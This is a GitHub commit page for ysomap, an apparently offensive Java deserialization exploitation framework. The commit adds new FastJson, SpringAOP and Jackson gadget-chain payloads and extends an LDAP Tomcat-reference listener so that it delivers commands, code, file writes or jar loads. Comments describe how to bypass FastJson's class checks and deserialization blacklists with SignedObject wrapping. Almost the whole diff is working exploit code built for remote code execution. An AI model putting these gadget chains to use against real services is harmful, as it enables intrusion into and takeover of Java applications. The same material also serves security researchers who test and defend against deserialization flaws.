Skip to content

Commit

Permalink
添加了新Gadget,修复了一个Exploit (#51)
Browse files Browse the repository at this point in the history
update from @whocansee 

---------

Co-authored-by: [email protected] <[email protected]>
Co-authored-by: wh1t3P1g <[email protected]>
  • Loading branch information
3 people authored Oct 13, 2023
1 parent 9c3353e commit 7fc092b
Show file tree
Hide file tree
Showing 11 changed files with 678 additions and 10 deletions.
1 change: 1 addition & 0 deletions common/src/main/java/ysomap/common/annotation/Authors.java
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@
String LALA = "lala";
String KINGX = "kingx";
String JANG = "Jang";
String whocansee = "whocansee";

String[] value() default {};

Expand Down
27 changes: 26 additions & 1 deletion core/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -49,10 +49,35 @@
<scope>compile</scope>
</dependency>
<!-- serializer start -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>${jackson.version}</version>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jdk8</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.module</groupId>
<artifactId>jackson-module-parameter-names</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>${hessian.group}</groupId>
Expand Down
10 changes: 5 additions & 5 deletions core/src/main/java/ysomap/bullets/jdk/rmi/TomcatRefBullet.java
Original file line number Diff line number Diff line change
Expand Up @@ -75,12 +75,12 @@ public String getPayload(String data){
".eval(\""+ data +"\")";
}

public static Bullet newInstance(Object... args) throws Exception {
public static Bullet newInstance(Object...args) throws Exception {
Bullet bullet = new TomcatRefBullet();
bullet.set("type", args[0]);
bullet.set("body", args[1]);
bullet.set("classname", args[2]);
bullet.set("filepath", args[3]);
bullet.set("body", args[0]);
bullet.set("classname", args[1]);
bullet.set("filepath", args[2]);
bullet.set("type", args[3]);

return bullet;
}
Expand Down
18 changes: 14 additions & 4 deletions core/src/main/java/ysomap/exploits/ldap/LDAPTomcatRefListener.java
Original file line number Diff line number Diff line change
Expand Up @@ -35,8 +35,18 @@ public class LDAPTomcatRefListener extends AbstractExploit {
public String lport = "1389";

@NotNull
@Require(name = "command", detail = DetailHelper.COMMAND)
private String command;
@Require(name = "body", detail = "根据type类型,传入命令或代码")
private String body;

@Require(name = "classname", detail = "当type为代码时,需要填上最终载入的classname")
private String classname;

@Require(name = "filepath", detail = "当type为fw时,需要填上最终写入的文件位置")
private String filepath;

@NotNull
@Require(name = "type", detail = "支持cmd、code、fw、loadJar")
private String type;

private InMemoryDirectoryServer ds;

Expand All @@ -54,7 +64,7 @@ public void work() {
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
Serializer serializer = SerializerFactory.createSerializer("default");
Bullet bullet = TomcatRefBullet.newInstance("cmd", command, null, null);
Bullet bullet = TomcatRefBullet.newInstance(type, body,classname,filepath);
config.addInMemoryOperationInterceptor(
new LocalChainOperationInterceptor((byte[]) serializer.serialize(bullet.getObject())));
ds = new InMemoryDirectoryServer(config);
Expand All @@ -77,7 +87,7 @@ public void stop() {
public String toString() {
return "LDAPTomcatRefListener{" +
"lport='" + lport + '\'' +
", command='" + command + '\'' +
", command='" + body + '\'' +
'}';
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
package ysomap.payloads.java.fastjson;

import com.alibaba.fastjson.JSONObject;
import ysomap.bullets.Bullet;
import ysomap.bullets.jdk.LdapAttributeBullet;
import ysomap.common.annotation.*;
import ysomap.core.util.DetailHelper;
import ysomap.core.util.PayloadHelper;
import ysomap.payloads.AbstractPayload;

import javax.management.BadAttributeValueExpException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Objects;

/**
* @author whocansee
* @since 2023/10/7
* BadAttributeValueExpException.readObject->JsonObject.toString->bullet对象的getter方法
* 原链JsonObject1缺失触发toString的部分,且仅支持FastJson低版本
* 此链根据Y4tacker师傅的思路实现了Reference包裹绕过高版本后JsonObject重写的readObject方法中的resolveClass检查,从而支持FastJson全版本
* 由于FastJson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet
*/
@Payloads
@SuppressWarnings({"rawtypes"})
@Authors({ Authors.whocansee })
@Targets({Targets.JDK})
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false)
@Dependencies({"FastJson all versions."})
@Details("BadAttributeValueExpException.readObject->JsonObject.toString->bullet对象的getter方法" +
"此链根据Y4tacker师傅的思路实现了Reference包裹绕过高版本后JsonObject重写的readObject方法中的resolveClass检查,从而支持FastJson全版本")

public class BadAttributeValueExpExceptionWithJsonObject extends AbstractPayload<Object> {

@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" +
"默认不使用,填true表示启用")
private Boolean wrapped = false;

@Override
public Bullet getDefaultBullet(Object... args) throws Exception {
return LdapAttributeBullet.newInstance(args);
}

@Override
public Object pack(Object obj) throws Exception {
Object obj1 = getterGadget(obj);
if (wrapped) {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA"));
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject));
} else {
return PayloadHelper.makeReadObjectToStringTrigger(obj1);
}
}
public static Object getterGadget(Object obj) throws Exception {
JSONObject jsonObject = new JSONObject();
jsonObject.put("gg", obj);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc, jsonObject);
HashMap hashMap = new HashMap();
hashMap.put(obj, poc);
return hashMap;
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
package ysomap.payloads.java.fastjson;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import ysomap.bullets.Bullet;
import ysomap.bullets.jdk.LdapAttributeBullet;
import ysomap.common.annotation.*;
import ysomap.core.util.PayloadHelper;
import ysomap.payloads.AbstractPayload;

import javax.management.BadAttributeValueExpException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Objects;

/**
* @author whocansee
* @since 2023/10/7
* 基本原理和BadAttributeValueExpExceptionWithJsonObject一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化)
* 需要目标具有Spring环境
* 由于FastJson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet
*/
@Payloads
@SuppressWarnings({"rawtypes"})
@Authors({ Authors.whocansee })
@Targets({Targets.JDK})
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false)
@Dependencies({"fastjson all versions & SpringAOP"})
@Details("基本原理和BadAttributeValueExpExceptionWithJsonObject一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化)")
public class SpringAOPXStringWithJsonObject extends AbstractPayload<Object> {
@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" +
"默认不使用,填true表示启用")
private Boolean wrapped = false;

@Override
public Bullet getDefaultBullet(Object... args) throws Exception {
return LdapAttributeBullet.newInstance(args);
}

@Override
public Object pack(Object obj) throws Exception {
Object obj1 = getterGadget(obj);
if (wrapped) {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA"));
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject));
} else {
return PayloadHelper.makeReadObjectToStringTrigger(obj1);
}
}
public static void setValue(Object obj,String field,Object value) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
public static Object getterGadget(Object obj) throws Exception {
JSONObject jsonObject = new JSONObject();
jsonObject.put("g","m");
JSONObject jsonObject1 = new JSONObject();
jsonObject1.put("g",obj);

HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(v1,v1);
hashMap.put(v2,v2);
setValue(v1,"target",jsonObject1);

HashMap<Object,Object> hhhhashMap = new HashMap<>();
hhhhashMap.put(obj,hashMap);
return hhhhashMap;
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
package ysomap.payloads.java.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysomap.bullets.Bullet;
import ysomap.bullets.jdk.LdapAttributeBullet;
import ysomap.common.annotation.*;
import ysomap.core.util.PayloadHelper;
import ysomap.payloads.AbstractPayload;
import javax.management.BadAttributeValueExpException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Objects;


/**
* @author whocansee
* @since 2023/10/7
* BadAttributeValueExpException.readObject->POJONode(BaseJsonNode).toString->bullet对象的getter方法
* 由于Jackson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet
* 由于此条链不需要Spring依赖,因而没有引入SpringAOP解决Jackson链的不稳定问题,如果抛出空指针错误多打几次即可
*/
@Payloads
@SuppressWarnings({"rawtypes"})
@Authors({ Authors.whocansee })
@Targets({Targets.JDK})
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false)
@Dependencies({"Jackson all versions."})
@Details("BadAttributeValueExpException.readObject->POJONode(BaseJsonNode).toString->bullet对象的getter方法,"+
"由于此条链不需要Spring依赖,因而没有引入SpringAOP解决Jackson链的不稳定问题,如果抛出空指针错误多打几次即可")

public class BadAttributeValueExpExceptionWithJackson extends AbstractPayload<Object> {

@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" +
"默认不使用,填true表示启用")
private Boolean wrapped = false;
public static int javaassistFlag = 0;
@Override
public Bullet getDefaultBullet(Object... args) throws Exception {
return LdapAttributeBullet.newInstance(args);
}

@Override
public Object pack(Object obj) throws Exception {
if (javaassistFlag == 0){
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
javaassistFlag = 1;
}
Object obj1 = getterGadget(obj);
if (wrapped) {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA"));
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject));
} else {
return PayloadHelper.makeReadObjectToStringTrigger(obj1);
}
}
public static Object getterGadget(Object obj) throws Exception {
POJONode node = new POJONode(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
return val;
}
}
Loading

0 comments on commit 7fc092b

Please sign in to comment.